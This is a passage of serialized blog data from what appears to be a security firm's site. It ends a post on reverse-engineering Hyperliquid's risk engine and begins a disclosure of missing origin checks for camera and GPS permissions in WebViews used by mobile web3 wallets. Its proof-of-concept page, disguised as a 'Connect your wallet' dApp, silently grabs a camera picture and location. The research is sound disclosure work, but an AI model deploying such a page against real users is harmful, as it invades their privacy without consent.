here:",{"type":26,"tag":525,"props":6670,"children":6673},{"path":6671,"name":88,"size":6672},"https://blog-assets.osec.io/hyperliquid-risk-engine/hl-node",53573376,[],{"type":26,"tag":607,"props":6675,"children":6677},{"id":6676},"closing-words",[6678],{"type":32,"value":6679},"Closing Words",{"type":26,"tag":39,"props":6681,"children":6682},{},[6683],{"type":32,"value":6684},"As much as it would be exciting to say that everything can be cracked open and studied in the age of LLMs, there are still some gaps to bridge.",{"type":26,"tag":39,"props":6686,"children":6687},{},[6688,6690,6695],{"type":32,"value":6689},"Flagship models got us 60% of the way there, but a lot of ",{"type":26,"tag":65,"props":6691,"children":6692},{},[6693],{"type":32,"value":6694},"manual",{"type":32,"value":6696}," work is still required: on one hand, documenting patterns in the Rust compiler and distilling that knowledge onto agents and tools; on the other, understanding the \"whys\" behind a program, beyond the technical question of the \"what\".",{"type":26,"tag":39,"props":6698,"children":6699},{},[6700],{"type":32,"value":6701},"Still, there is no doubt that LLMs have greatly accelerated progress in the field, and the dream of throwing a well-armed swarm of agents at an ugly blob of machine code to extract meaningful—and, most importantly, correct—representations and source code is nearing.",{"type":26,"tag":39,"props":6703,"children":6704},{},[6705],{"type":32,"value":6706},"We hope to be part of that future, where even complex and obfuscated systems will be verifiable at a glance.",{"type":26,"tag":6708,"props":6709,"children":6710},"report-footnotes",{},[6711],{"type":26,"tag":6712,"props":6713,"children":6714},"ol",{},[6715,6720,6747,6752,6757],{"type":26,"tag":2044,"props":6716,"children":6717},{},[6718],{"type":32,"value":6719},"ADL crashes the node upon failure. Specifically, if we don't manage to complete all of the fills against anybody, an assertion in the loop fails.",{"type":26,"tag":2044,"props":6721,"children":6722},{},[6723,6729,6731,6737,6739,6745],{"type":26,"tag":83,"props":6724,"children":6726},{"className":6725},[],[6727],{"type":32,"value":6728},"compute_user_margin_and_shortfall",{"type":32,"value":6730}," is a ubiquitous function for accounting. In its main branch, we loop over a B-tree (note the repeating offsets ",{"type":26,"tag":83,"props":6732,"children":6734},{"className":6733},[],[6735],{"type":32,"value":6736},"0x748",{"type":32,"value":6738}," in the abstract expressions of ",{"type":26,"tag":83,"props":6740,"children":6742},{"className":6741},[],[6743],{"type":32,"value":6744},"btree_cursor",{"type":32,"value":6746},") of per-user positions, branching out based on cross/isolated positions (in order to know what to consider for notional).",{"type":26,"tag":2044,"props":6748,"children":6749},{},[6750],{"type":32,"value":6751},"Also, the specifics of how prices are fetched have been hand-waved for simplicity, but the system is pessimistic at every step when computing notionals.",{"type":26,"tag":2044,"props":6753,"children":6754},{},[6755],{"type":32,"value":6756},"Some loop iterations within the ADL code look very inefficient; for example, we seem to sort and come up with sorted counterparties for each position to be absorbed.",{"type":26,"tag":2044,"props":6758,"children":6759},{},[6760,6762,6768],{"type":32,"value":6761},"Some of the historical data from Hyperliquid can be retrieved via this S3 bucket: ",{"type":26,"tag":83,"props":6763,"children":6765},{"className":6764},[],[6766],{"type":32,"value":6767},"s3://hl-mainnet-node-data/explorer_blocks",{"type":32,"value":180},{"title":8,"searchDepth":6770,"depth":6770,"links":6771},2,[6772,6773,6774,6775,6776,6780,6781,6782,6785,6786,6789,6793],{"id":29,"depth":6770,"text":33},{"id":19,"depth":6770,"text":53},{"id":112,"depth":6770,"text":115},{"id":432,"depth":6770,"text":435},{"id":467,"depth":6770,"text":470,"children":6777},[6778],{"id":609,"depth":6779,"text":612},3,{"id":1393,"depth":6770,"text":1396},{"id":1490,"depth":6770,"text":1493},{"id":1710,"depth":6770,"text":1713,"children":6783},[6784],{"id":1962,"depth":6779,"text":1965},{"id":2022,"depth":6770,"text":2025},{"id":6455,"depth":6770,"text":6458,"children":6787},[6788],{"id":6488,"depth":6779,"text":6491},{"id":6548,"depth":6770,"text":6551,"children":6790},[6791,6792],{"id":6554,"depth":6779,"text":6557},{"id":6573,"depth":6779,"text":2061},{"id":6603,"depth":6770,"text":6606,"children":6794},[6795,6796,6797,6798],{"id":6614,"depth":6779,"text":6617},{"id":6636,"depth":6779,"text":6639},{"id":6652,"depth":6779,"text":6655},{"id":6676,"depth":6779,"text":6679},"markdown","content:blog:2026-06-22-hyperliquid-risk-engine.md","content","blog/2026-06-22-hyperliquid-risk-engine.md","blog/2026-06-22-hyperliquid-risk-engine","md",{"_path":6806,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":6807,"description":6808,"date":6809,"author":6810,"image":6814,"isFeatured":17,"onBlogPage":17,"tags":6818,"body":6822,"_type":6799,"_id":9300,"_source":6801,"_file":9301,"_stem":9302,"_extension":6804},"/blog/2026-06-18-goldmine-of-insecure-webview-integrations","The Goldmine of Insecure WebView Integrations","WebViews in mobile web3 wallets can quietly inherit the permissions granted to the wallet app itself. We found 20+ major wallets where a malicious dApp could access core permissions without authorization.","2026-06-18T12:00:00.000Z",[6811,6812,6813],"bruno","caue","nikolaos",{"src":6815,"width":6816,"height":6817},"/posts/insecure-webview-integrations/title.png",1536,1024,[6819,6820,6821],"web3","mobile","webview",{"type":23,"children":6823,"toc":9287},[6824,6829,6834,6840,6845,6850,6855,6861,6866,6872,6894,6907,6927,6941,6947,6961,6969,6974,6980,6985,6996,7017,7185,7190,7196,7201,7206,7220,7226,7231,7249,8785,8791,8796,8809,8818,8823,8829,8851,8859,8864,8870,8875,8893,8898,8904,8917,9211,9239,9252,9257,9270,9276,9281],{"type":26,"tag":39,"props":6825,"children":6826},{},[6827],{"type":32,"value":6828},"WebViews are everywhere in mobile web3 wallets, but they are often treated as just a convenient way to load dApps. In reality, they can quietly inherit powerful app capabilities that attackers can exploit.",{"type":26,"tag":39,"props":6830,"children":6831},{},[6832],{"type":32,"value":6833},"In this article, we look at several WebView issues we found across wallet apps and libraries, including some issues in React Native.",{"type":26,"tag":454,"props":6835,"children":6837},{"id":6836},"exploiting-mobile-webviews",[6838],{"type":32,"value":6839},"Exploiting Mobile WebViews",{"type":26,"tag":39,"props":6841,"children":6842},{},[6843],{"type":32,"value":6844},"A well known feature of most web3 wallets is the ability to interact with decentralized applications, often referred to as dApps.",{"type":26,"tag":39,"props":6846,"children":6847},{},[6848],{"type":32,"value":6849},"For a wallet application to be compatible with various dApps, it must support a message exchange system between the dApp webpage and the underlying wallet. On both Android and iOS, this is often achieved by loading the webpage inside a WebView component.",{"type":26,"tag":39,"props":6851,"children":6852},{},[6853],{"type":32,"value":6854},"Since dApps are such a widely supported feature, our main research goal was to uncover lesser known vulnerabilities affecting most - if not all - WebView implementations. One issue we repeatedly encountered is related to how React Native WebView handles permission requests. In order to understand these vulnerabilities and how they can be exploited, we first need to dig into how iOS and Android WebViews actually work.",{"type":26,"tag":27,"props":6856,"children":6858},{"id":6857},"handling-webview-permissions",[6859],{"type":32,"value":6860},"Handling WebView permissions",{"type":26,"tag":39,"props":6862,"children":6863},{},[6864],{"type":32,"value":6865},"In this section, we'll get into the inner workings of permission requests and how they are handled on Android compared to iOS.",{"type":26,"tag":607,"props":6867,"children":6869},{"id":6868},"android",[6870],{"type":32,"value":6871},"Android",{"type":26,"tag":39,"props":6873,"children":6874},{},[6875,6877,6884,6886,6892],{"type":32,"value":6876},"If we take a look at the Android documentation, the method responsible for granting or denying permission requests is ",{"type":26,"tag":163,"props":6878,"children":6881},{"href":6879,"rel":6880},"https://developer.android.com/reference/android/webkit/WebChromeClient#onPermissionRequest(android.webkit.PermissionRequest)",[167],[6882],{"type":32,"value":6883},"onPermissionRequest",{"type":32,"value":6885},". When a new permission request is triggered by a webpage, this method is called with a ",{"type":26,"tag":83,"props":6887,"children":6889},{"className":6888},[],[6890],{"type":32,"value":6891},"PermissionRequest",{"type":32,"value":6893}," object where the WebView developers must decide whether to grant or deny it.",{"type":26,"tag":35,"props":6895,"children":6896},{},[6897],{"type":26,"tag":39,"props":6898,"children":6899},{},[6900,6902,6905],{"type":32,"value":6901},"Notify the host application that web content is requesting permission to access the specified resources and the permission currently isn't granted or denied. The host application must invoke PermissionRequest.grant(String",{"type":26,"tag":217,"props":6903,"children":6904},{},[],{"type":32,"value":6906},") or PermissionRequest.deny(). If this method isn't overridden, the permission is denied.",{"type":26,"tag":39,"props":6908,"children":6909},{},[6910,6912,6918,6920,6926],{"type":32,"value":6911},"This object contains all the necessary information to evaluate the request, such as the webpage origin with ",{"type":26,"tag":83,"props":6913,"children":6915},{"className":6914},[],[6916],{"type":32,"value":6917},"getOrigin()",{"type":32,"value":6919}," and the requested permissions with ",{"type":26,"tag":83,"props":6921,"children":6923},{"className":6922},[],[6924],{"type":32,"value":6925},"getResources()",{"type":32,"value":180},{"type":26,"tag":39,"props":6928,"children":6929},{},[6930,6932,6939],{"type":32,"value":6931},"If we read the previous Android documentation carefully, we will see that any permission requests are denied by default. For this reason, most WebView wrappers opt to enable permission granting by overwriting this method, such as the official ",{"type":26,"tag":163,"props":6933,"children":6936},{"href":6934,"rel":6935},"https://chromium.googlesource.com/chromium/src/+/HEAD/android_webview/tools/system_webview_shell/apk/src/org/chromium/webview_shell/WebViewBrowserFragment.java#644",[167],[6937],{"type":32,"value":6938},"webview_shell",{"type":32,"value":6940},". In this instance, no origin checks are performed.",{"type":26,"tag":607,"props":6942,"children":6944},{"id":6943},"ios",[6945],{"type":32,"value":6946},"iOS",{"type":26,"tag":39,"props":6948,"children":6949},{},[6950,6952,6959],{"type":32,"value":6951},"On the contrary, iOS ",{"type":26,"tag":163,"props":6953,"children":6956},{"href":6954,"rel":6955},"https://developer.apple.com/documentation/webkit/wkuidelegate/webview(_:requestmediacapturepermissionfor:initiatedbyframe:type:decisionhandler:)?language=objc",[167],[6957],{"type":32,"value":6958},"documentation",{"type":32,"value":6960}," states that:",{"type":26,"tag":35,"props":6962,"children":6963},{},[6964],{"type":26,"tag":39,"props":6965,"children":6966},{},[6967],{"type":32,"value":6968},"If you don’t implement this method in your delegate, the system returns WKPermissionDecisionPrompt.",{"type":26,"tag":39,"props":6970,"children":6971},{},[6972],{"type":32,"value":6973},"This effectively means that by default, iOS determines whether a webpage (bound by its security origin) can access any permission using a prompt message. In this way, origin isolation for permission requests on iOS apps is enforced by default.",{"type":26,"tag":27,"props":6975,"children":6977},{"id":6976},"the-shortcomings-of-webview-implementations",[6978],{"type":32,"value":6979},"The shortcomings of WebView implementations",{"type":26,"tag":39,"props":6981,"children":6982},{},[6983],{"type":32,"value":6984},"Most web3 mobile wallets have an in-app feature that allows users to scan QR codes for a more user-friendly transaction experience. However, to use this feature, the user must grant the app permission to access the camera. Since this is a powerful permission, a pop-up will appear.",{"type":26,"tag":6986,"props":6987,"children":6989},"div",{"style":6988},"display:flex; align-items:center; flex-direction:column;",[6990],{"type":26,"tag":6468,"props":6991,"children":6995},{"src":6992,"alt":6993,"style":6994},"/posts/insecure-webview-integrations/image1.png","Camera permission prompt","max-height:360px; width:auto; max-width:100%;",[],{"type":26,"tag":39,"props":6997,"children":6998},{},[6999,7001,7007,7009,7015],{"type":32,"value":7000},"Since most wallets are based on React Native, the most commonly used WebView implementation is ",{"type":26,"tag":83,"props":7002,"children":7004},{"className":7003},[],[7005],{"type":32,"value":7006},"react-native-webview",{"type":32,"value":7008},". If we take a look at how they handle a request that reaches the ",{"type":26,"tag":163,"props":7010,"children":7013},{"href":7011,"rel":7012},"https://github.com/react-native-webview/react-native-webview/blob/eb8ccacd35740af39993725ad1b592d45364a510/android/src/main/java/com/reactnativecommunity/webview/RNCWebChromeClient.java#L146",[167],[7014],{"type":32,"value":6883},{"type":32,"value":7016}," method, we see a similar pattern.",{"type":26,"tag":207,"props":7018,"children":7022},{"className":7019,"code":7020,"language":7021,"meta":8,"style":8},"language-java shiki shiki-themes slack-dark","// If all the permissions are already granted, send the response to the WebView synchronously\nif (requestedAndroidPermissions.isEmpty()) {\n    request.grant(grantedPermissions.toArray(new String[0]));\n    grantedPermissions = null;\n    return;\n}\n","java",[7023],{"type":26,"tag":83,"props":7024,"children":7025},{"__ignoreMap":8},[7026,7037,7073,7138,7163,7176],{"type":26,"tag":217,"props":7027,"children":7030},{"class":7028,"line":7029},"line",1,[7031],{"type":26,"tag":217,"props":7032,"children":7034},{"style":7033},"--shiki-default:#6A9955",[7035],{"type":32,"value":7036},"// If all the permissions are already granted, send the response to the WebView synchronously\n",{"type":26,"tag":217,"props":7038,"children":7039},{"class":7028,"line":6770},[7040,7046,7052,7058,7062,7068],{"type":26,"tag":217,"props":7041,"children":7043},{"style":7042},"--shiki-default:#C586C0",[7044],{"type":32,"value":7045},"if",{"type":26,"tag":217,"props":7047,"children":7049},{"style":7048},"--shiki-default:#E6E6E6",[7050],{"type":32,"value":7051}," (",{"type":26,"tag":217,"props":7053,"children":7055},{"style":7054},"--shiki-default:#9CDCFE",[7056],{"type":32,"value":7057},"requestedAndroidPermissions",{"type":26,"tag":217,"props":7059,"children":7060},{"style":7048},[7061],{"type":32,"value":180},{"type":26,"tag":217,"props":7063,"children":7065},{"style":7064},"--shiki-default:#DCDCAA",[7066],{"type":32,"value":7067},"isEmpty",{"type":26,"tag":217,"props":7069,"children":7070},{"style":7048},[7071],{"type":32,"value":7072},"()) {\n",{"type":26,"tag":217,"props":7074,"children":7075},{"class":7028,"line":6779},[7076,7081,7085,7090,7094,7099,7103,7108,7112,7117,7123,7128,7133],{"type":26,"tag":217,"props":7077,"children":7078},{"style":7054},[7079],{"type":32,"value":7080},"    request",{"type":26,"tag":217,"props":7082,"children":7083},{"style":7048},[7084],{"type":32,"value":180},{"type":26,"tag":217,"props":7086,"children":7087},{"style":7064},[7088],{"type":32,"value":7089},"grant",{"type":26,"tag":217,"props":7091,"children":7092},{"style":7048},[7093],{"type":32,"value":1851},{"type":26,"tag":217,"props":7095,"children":7096},{"style":7054},[7097],{"type":32,"value":7098},"grantedPermissions",{"type":26,"tag":217,"props":7100,"children":7101},{"style":7048},[7102],{"type":32,"value":180},{"type":26,"tag":217,"props":7104,"children":7105},{"style":7064},[7106],{"type":32,"value":7107},"toArray",{"type":26,"tag":217,"props":7109,"children":7110},{"style":7048},[7111],{"type":32,"value":1851},{"type":26,"tag":217,"props":7113,"children":7114},{"style":7042},[7115],{"type":32,"value":7116},"new",{"type":26,"tag":217,"props":7118,"children":7120},{"style":7119},"--shiki-default:#4EC9B0",[7121],{"type":32,"value":7122}," String",{"type":26,"tag":217,"props":7124,"children":7125},{"style":7048},[7126],{"type":32,"value":7127},"[",{"type":26,"tag":217,"props":7129,"children":7131},{"style":7130},"--shiki-default:#B5CEA8",[7132],{"type":32,"value":1883},{"type":26,"tag":217,"props":7134,"children":7135},{"style":7048},[7136],{"type":32,"value":7137},"]));\n",{"type":26,"tag":217,"props":7139,"children":7141},{"class":7028,"line":7140},4,[7142,7147,7152,7158],{"type":26,"tag":217,"props":7143,"children":7144},{"style":7048},[7145],{"type":32,"value":7146},"    grantedPermissions ",{"type":26,"tag":217,"props":7148,"children":7150},{"style":7149},"--shiki-default:#D4D4D4",[7151],{"type":32,"value":267},{"type":26,"tag":217,"props":7153,"children":7155},{"style":7154},"--shiki-default:#569CD6",[7156],{"type":32,"value":7157}," null",{"type":26,"tag":217,"props":7159,"children":7160},{"style":7048},[7161],{"type":32,"value":7162},";\n",{"type":26,"tag":217,"props":7164,"children":7166},{"class":7028,"line":7165},5,[7167,7172],{"type":26,"tag":217,"props":7168,"children":7169},{"style":7042},[7170],{"type":32,"value":7171},"    return",{"type":26,"tag":217,"props":7173,"children":7174},{"style":7048},[7175],{"type":32,"value":7162},{"type":26,"tag":217,"props":7177,"children":7179},{"class":7028,"line":7178},6,[7180],{"type":26,"tag":217,"props":7181,"children":7182},{"style":7048},[7183],{"type":32,"value":7184},"}\n",{"type":26,"tag":39,"props":7186,"children":7187},{},[7188],{"type":32,"value":7189},"As we can see above, if the Android app has already been granted access to the requested permissions, this method simply allows the loaded WebView to use them. This follows the same pattern as Google's WebView Shell implementation - no origin checks being performed. When this behavior is now combined with the typical web3 wallet features, namely dApps, a serious oversight arises.",{"type":26,"tag":607,"props":7191,"children":7193},{"id":7192},"real-world-exploitation",[7194],{"type":32,"value":7195},"Real world exploitation",{"type":26,"tag":39,"props":7197,"children":7198},{},[7199],{"type":32,"value":7200},"As mentioned, web3 mobile apps often use a WebView to load and execute dApps, with the most common implementation being React Native WebView. Developers assume that these WebViews, and especially React Native WebView, provide origin isolation by default for sensitive permissions. However, they do not. This allows any malicious dApp to request and use any permission already granted to the underlying application. No additional user consent checks are performed.",{"type":26,"tag":39,"props":7202,"children":7203},{},[7204],{"type":32,"value":7205},"If the app doesn’t already have these permissions, once the user allows camera or GPS access for a specific dApp inside the wallet, every other dApp can access those permissions without user consent, since there is no origin isolation.",{"type":26,"tag":39,"props":7207,"children":7208},{},[7209,7211,7218],{"type":32,"value":7210},"During our audits and research, we discovered more than 20 major wallets vulnerable to this attack scenario. While most were using React Native WebView, other less frequently used libraries were suffering from the same bug. One such example is the ",{"type":26,"tag":163,"props":7212,"children":7215},{"href":7213,"rel":7214},"https://github.com/Justson/AgentWeb/blob/95d48cd5a03227aa15644c4ef3a65c820b067616/agentweb-core/src/main/java/com/just/agentweb/DefaultChromeClient.java#L250",[167],[7216],{"type":32,"value":7217},"Justson",{"type":32,"value":7219},", used by a popular wallet in the Stellar ecosystem.",{"type":26,"tag":631,"props":7221,"children":7223},{"id":7222},"proof-of-concept",[7224],{"type":32,"value":7225},"Proof of Concept",{"type":26,"tag":39,"props":7227,"children":7228},{},[7229],{"type":32,"value":7230},"In order to exploit this issue, we assume the following preconditions:",{"type":26,"tag":6712,"props":7232,"children":7233},{},[7234,7239,7244],{"type":26,"tag":2044,"props":7235,"children":7236},{},[7237],{"type":32,"value":7238},"The user has already granted the camera permission just to the wallet application or to another dApp with a different origin.",{"type":26,"tag":2044,"props":7240,"children":7241},{},[7242],{"type":32,"value":7243},"The user is tricked into visiting a malicious dApp or redirected to one from the web.",{"type":26,"tag":2044,"props":7245,"children":7246},{},[7247],{"type":32,"value":7248},"Once the dApp loads, the following code will run, allowing the attacker to take a picture with the camera.",{"type":26,"tag":207,"props":7250,"children":7254},{"className":7251,"code":7252,"language":7253,"meta":8,"style":8},"language-html shiki shiki-themes slack-dark","\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\n    \u003Cmeta charset=\"utf-8\">\n    \u003Ctitle>\u003C/title>\n\u003C/head>\n\u003Cbody>\n    \u003Ch2>Smile dApp :)\u003C/h2>\n    \u003Cbutton id=\"connect\">Connect your wallet!\u003C/button>\n    \u003Cpre id=\"gps\">\u003C/pre>\n    \u003Cimg id=\"pic\">\n    \u003Cscript>\n        window.addEventListener('unhandledrejection', function (event) {\n            alert(`Unhandled Promise Rejection: ${event.reason}`);\n        });\n        window.onerror = function (msg, url, line, col, error) {\n            alert('onerror: ' + msg);\n            return false;\n        };\n\n        async function main() {\n            const stream = await navigator.mediaDevices.getUserMedia({ video: true });\n            const video = document.createElement(\"video\");\n            video.srcObject = stream;\n            const canvas = document.createElement(\"canvas\");\n\n            video.onloadedmetadata = () => {\n                canvas.width = video.videoWidth;\n                canvas.height = video.videoHeight;\n            };\n\n            connect.onclick = e => {\n                video.play();\n\n                canvas.getContext(\"2d\").drawImage(video, 0, 0);\n                stream.getTracks().forEach(t => t.stop());\n                canvas.toBlob((blob) => {\n                    pic.src = URL.createObjectURL(blob);\n                });\n\n                navigator.geolocation.getCurrentPosition(pos => {\n                    const c = pos.coords;\n                    gps.innerText = `Lat: ${c.latitude.toFixed(1)}\\nLon: ${c.longitude.toFixed(1)}`;\n                }, err => alert(err));\n            };\n\n        }\n        main();\n    \u003C/script>\n\u003C/body>\n\u003C/html>\n","html",[7255],{"type":26,"tag":83,"props":7256,"children":7257},{"__ignoreMap":8},[7258,7282,7298,7314,7346,7371,7387,7404,7437,7485,7522,7551,7568,7619,7670,7679,7752,7782,7800,7809,7818,7842,7908,7952,7983,8025,8033,8065,8105,8143,8152,8160,8195,8218,8226,8290,8349,8389,8437,8446,8454,8498,8533,8662,8698,8706,8714,8723,8736,8753,8769],{"type":26,"tag":217,"props":7259,"children":7260},{"class":7028,"line":7029},[7261,7267,7272,7277],{"type":26,"tag":217,"props":7262,"children":7264},{"style":7263},"--shiki-default:#808080",[7265],{"type":32,"value":7266},"\u003C!",{"type":26,"tag":217,"props":7268,"children":7269},{"style":7154},[7270],{"type":32,"value":7271},"DOCTYPE",{"type":26,"tag":217,"props":7273,"children":7274},{"style":7054},[7275],{"type":32,"value":7276}," html",{"type":26,"tag":217,"props":7278,"children":7279},{"style":7263},[7280],{"type":32,"value":7281},">\n",{"type":26,"tag":217,"props":7283,"children":7284},{"class":7028,"line":6770},[7285,7290,7294],{"type":26,"tag":217,"props":7286,"children":7287},{"style":7263},[7288],{"type":32,"value":7289},"\u003C",{"type":26,"tag":217,"props":7291,"children":7292},{"style":7154},[7293],{"type":32,"value":7253},{"type":26,"tag":217,"props":7295,"children":7296},{"style":7263},[7297],{"type":32,"value":7281},{"type":26,"tag":217,"props":7299,"children":7300},{"class":7028,"line":6779},[7301,7305,7310],{"type":26,"tag":217,"props":7302,"children":7303},{"style":7263},[7304],{"type":32,"value":7289},{"type":26,"tag":217,"props":7306,"children":7307},{"style":7154},[7308],{"type":32,"value":7309},"head",{"type":26,"tag":217,"props":7311,"children":7312},{"style":7263},[7313],{"type":32,"value":7281},{"type":26,"tag":217,"props":7315,"children":7316},{"class":7028,"line":7140},[7317,7322,7327,7332,7336,7342],{"type":26,"tag":217,"props":7318,"children":7319},{"style":7263},[7320],{"type":32,"value":7321},"    \u003C",{"type":26,"tag":217,"props":7323,"children":7324},{"style":7154},[7325],{"type":32,"value":7326},"meta",{"type":26,"tag":217,"props":7328,"children":7329},{"style":7054},[7330],{"type":32,"value":7331}," charset",{"type":26,"tag":217,"props":7333,"children":7334},{"style":7048},[7335],{"type":32,"value":267},{"type":26,"tag":217,"props":7337,"children":7339},{"style":7338},"--shiki-default:#CE9178",[7340],{"type":32,"value":7341},"\"utf-8\"",{"type":26,"tag":217,"props":7343,"children":7344},{"style":7263},[7345],{"type":32,"value":7281},{"type":26,"tag":217,"props":7347,"children":7348},{"class":7028,"line":7165},[7349,7353,7358,7363,7367],{"type":26,"tag":217,"props":7350,"children":7351},{"style":7263},[7352],{"type":32,"value":7321},{"type":26,"tag":217,"props":7354,"children":7355},{"style":7154},[7356],{"type":32,"value":7357},"title",{"type":26,"tag":217,"props":7359,"children":7360},{"style":7263},[7361],{"type":32,"value":7362},">\u003C/",{"type":26,"tag":217,"props":7364,"children":7365},{"style":7154},[7366],{"type":32,"value":7357},{"type":26,"tag":217,"props":7368,"children":7369},{"style":7263},[7370],{"type":32,"value":7281},{"type":26,"tag":217,"props":7372,"children":7373},{"class":7028,"line":7178},[7374,7379,7383],{"type":26,"tag":217,"props":7375,"children":7376},{"style":7263},[7377],{"type":32,"value":7378},"\u003C/",{"type":26,"tag":217,"props":7380,"children":7381},{"style":7154},[7382],{"type":32,"value":7309},{"type":26,"tag":217,"props":7384,"children":7385},{"style":7263},[7386],{"type":32,"value":7281},{"type":26,"tag":217,"props":7388,"children":7390},{"class":7028,"line":7389},7,[7391,7395,7400],{"type":26,"tag":217,"props":7392,"children":7393},{"style":7263},[7394],{"type":32,"value":7289},{"type":26,"tag":217,"props":7396,"children":7397},{"style":7154},[7398],{"type":32,"value":7399},"body",{"type":26,"tag":217,"props":7401,"children":7402},{"style":7263},[7403],{"type":32,"value":7281},{"type":26,"tag":217,"props":7405,"children":7407},{"class":7028,"line":7406},8,[7408,7412,7416,7420,7425,7429,7433],{"type":26,"tag":217,"props":7409,"children":7410},{"style":7263},[7411],{"type":32,"value":7321},{"type":26,"tag":217,"props":7413,"children":7414},{"style":7154},[7415],{"type":32,"value":27},{"type":26,"tag":217,"props":7417,"children":7418},{"style":7263},[7419],{"type":32,"value":5903},{"type":26,"tag":217,"props":7421,"children":7422},{"style":7048},[7423],{"type":32,"value":7424},"Smile dApp :)",{"type":26,"tag":217,"props":7426,"children":7427},{"style":7263},[7428],{"type":32,"value":7378},{"type":26,"tag":217,"props":7430,"children":7431},{"style":7154},[7432],{"type":32,"value":27},{"type":26,"tag":217,"props":7434,"children":7435},{"style":7263},[7436],{"type":32,"value":7281},{"type":26,"tag":217,"props":7438,"children":7440},{"class":7028,"line":7439},9,[7441,7445,7450,7455,7459,7464,7468,7473,7477,7481],{"type":26,"tag":217,"props":7442,"children":7443},{"style":7263},[7444],{"type":32,"value":7321},{"type":26,"tag":217,"props":7446,"children":7447},{"style":7154},[7448],{"type":32,"value":7449},"button",{"type":26,"tag":217,"props":7451,"children":7452},{"style":7054},[7453],{"type":32,"value":7454}," id",{"type":26,"tag":217,"props":7456,"children":7457},{"style":7048},[7458],{"type":32,"value":267},{"type":26,"tag":217,"props":7460,"children":7461},{"style":7338},[7462],{"type":32,"value":7463},"\"connect\"",{"type":26,"tag":217,"props":7465,"children":7466},{"style":7263},[7467],{"type":32,"value":5903},{"type":26,"tag":217,"props":7469,"children":7470},{"style":7048},[7471],{"type":32,"value":7472},"Connect your wallet!",{"type":26,"tag":217,"props":7474,"children":7475},{"style":7263},[7476],{"type":32,"value":7378},{"type":26,"tag":217,"props":7478,"children":7479},{"style":7154},[7480],{"type":32,"value":7449},{"type":26,"tag":217,"props":7482,"children":7483},{"style":7263},[7484],{"type":32,"value":7281},{"type":26,"tag":217,"props":7486,"children":7488},{"class":7028,"line":7487},10,[7489,7493,7497,7501,7505,7510,7514,7518],{"type":26,"tag":217,"props":7490,"children":7491},{"style":7263},[7492],{"type":32,"value":7321},{"type":26,"tag":217,"props":7494,"children":7495},{"style":7154},[7496],{"type":32,"value":207},{"type":26,"tag":217,"props":7498,"children":7499},{"style":7054},[7500],{"type":32,"value":7454},{"type":26,"tag":217,"props":7502,"children":7503},{"style":7048},[7504],{"type":32,"value":267},{"type":26,"tag":217,"props":7506,"children":7507},{"style":7338},[7508],{"type":32,"value":7509},"\"gps\"",{"type":26,"tag":217,"props":7511,"children":7512},{"style":7263},[7513],{"type":32,"value":7362},{"type":26,"tag":217,"props":7515,"children":7516},{"style":7154},[7517],{"type":32,"value":207},{"type":26,"tag":217,"props":7519,"children":7520},{"style":7263},[7521],{"type":32,"value":7281},{"type":26,"tag":217,"props":7523,"children":7525},{"class":7028,"line":7524},11,[7526,7530,7534,7538,7542,7547],{"type":26,"tag":217,"props":7527,"children":7528},{"style":7263},[7529],{"type":32,"value":7321},{"type":26,"tag":217,"props":7531,"children":7532},{"style":7154},[7533],{"type":32,"value":6468},{"type":26,"tag":217,"props":7535,"children":7536},{"style":7054},[7537],{"type":32,"value":7454},{"type":26,"tag":217,"props":7539,"children":7540},{"style":7048},[7541],{"type":32,"value":267},{"type":26,"tag":217,"props":7543,"children":7544},{"style":7338},[7545],{"type":32,"value":7546},"\"pic\"",{"type":26,"tag":217,"props":7548,"children":7549},{"style":7263},[7550],{"type":32,"value":7281},{"type":26,"tag":217,"props":7552,"children":7554},{"class":7028,"line":7553},12,[7555,7559,7564],{"type":26,"tag":217,"props":7556,"children":7557},{"style":7263},[7558],{"type":32,"value":7321},{"type":26,"tag":217,"props":7560,"children":7561},{"style":7154},[7562],{"type":32,"value":7563},"script",{"type":26,"tag":217,"props":7565,"children":7566},{"style":7263},[7567],{"type":32,"value":7281},{"type":26,"tag":217,"props":7569,"children":7571},{"class":7028,"line":7570},13,[7572,7577,7581,7586,7590,7595,7600,7605,7609,7614],{"type":26,"tag":217,"props":7573,"children":7574},{"style":7054},[7575],{"type":32,"value":7576},"        window",{"type":26,"tag":217,"props":7578,"children":7579},{"style":7149},[7580],{"type":32,"value":180},{"type":26,"tag":217,"props":7582,"children":7583},{"style":7064},[7584],{"type":32,"value":7585},"addEventListener",{"type":26,"tag":217,"props":7587,"children":7588},{"style":7149},[7589],{"type":32,"value":1851},{"type":26,"tag":217,"props":7591,"children":7592},{"style":7338},[7593],{"type":32,"value":7594},"'unhandledrejection'",{"type":26,"tag":217,"props":7596,"children":7597},{"style":7149},[7598],{"type":32,"value":7599},", ",{"type":26,"tag":217,"props":7601,"children":7602},{"style":7154},[7603],{"type":32,"value":7604},"function",{"type":26,"tag":217,"props":7606,"children":7607},{"style":7149},[7608],{"type":32,"value":7051},{"type":26,"tag":217,"props":7610,"children":7611},{"style":7054},[7612],{"type":32,"value":7613},"event",{"type":26,"tag":217,"props":7615,"children":7616},{"style":7149},[7617],{"type":32,"value":7618},") {\n",{"type":26,"tag":217,"props":7620,"children":7622},{"class":7028,"line":7621},14,[7623,7628,7632,7637,7642,7646,7650,7655,7660,7665],{"type":26,"tag":217,"props":7624,"children":7625},{"style":7064},[7626],{"type":32,"value":7627},"            alert",{"type":26,"tag":217,"props":7629,"children":7630},{"style":7149},[7631],{"type":32,"value":1851},{"type":26,"tag":217,"props":7633,"children":7634},{"style":7338},[7635],{"type":32,"value":7636},"`Unhandled Promise Rejection: ",{"type":26,"tag":217,"props":7638,"children":7639},{"style":7154},[7640],{"type":32,"value":7641},"${",{"type":26,"tag":217,"props":7643,"children":7644},{"style":7054},[7645],{"type":32,"value":7613},{"type":26,"tag":217,"props":7647,"children":7648},{"style":7149},[7649],{"type":32,"value":180},{"type":26,"tag":217,"props":7651,"children":7652},{"style":7054},[7653],{"type":32,"value":7654},"reason",{"type":26,"tag":217,"props":7656,"children":7657},{"style":7154},[7658],{"type":32,"value":7659},"}",{"type":26,"tag":217,"props":7661,"children":7662},{"style":7338},[7663],{"type":32,"value":7664},"`",{"type":26,"tag":217,"props":7666,"children":7667},{"style":7149},[7668],{"type":32,"value":7669},");\n",{"type":26,"tag":217,"props":7671,"children":7673},{"class":7028,"line":7672},15,[7674],{"type":26,"tag":217,"props":7675,"children":7676},{"style":7149},[7677],{"type":32,"value":7678},"        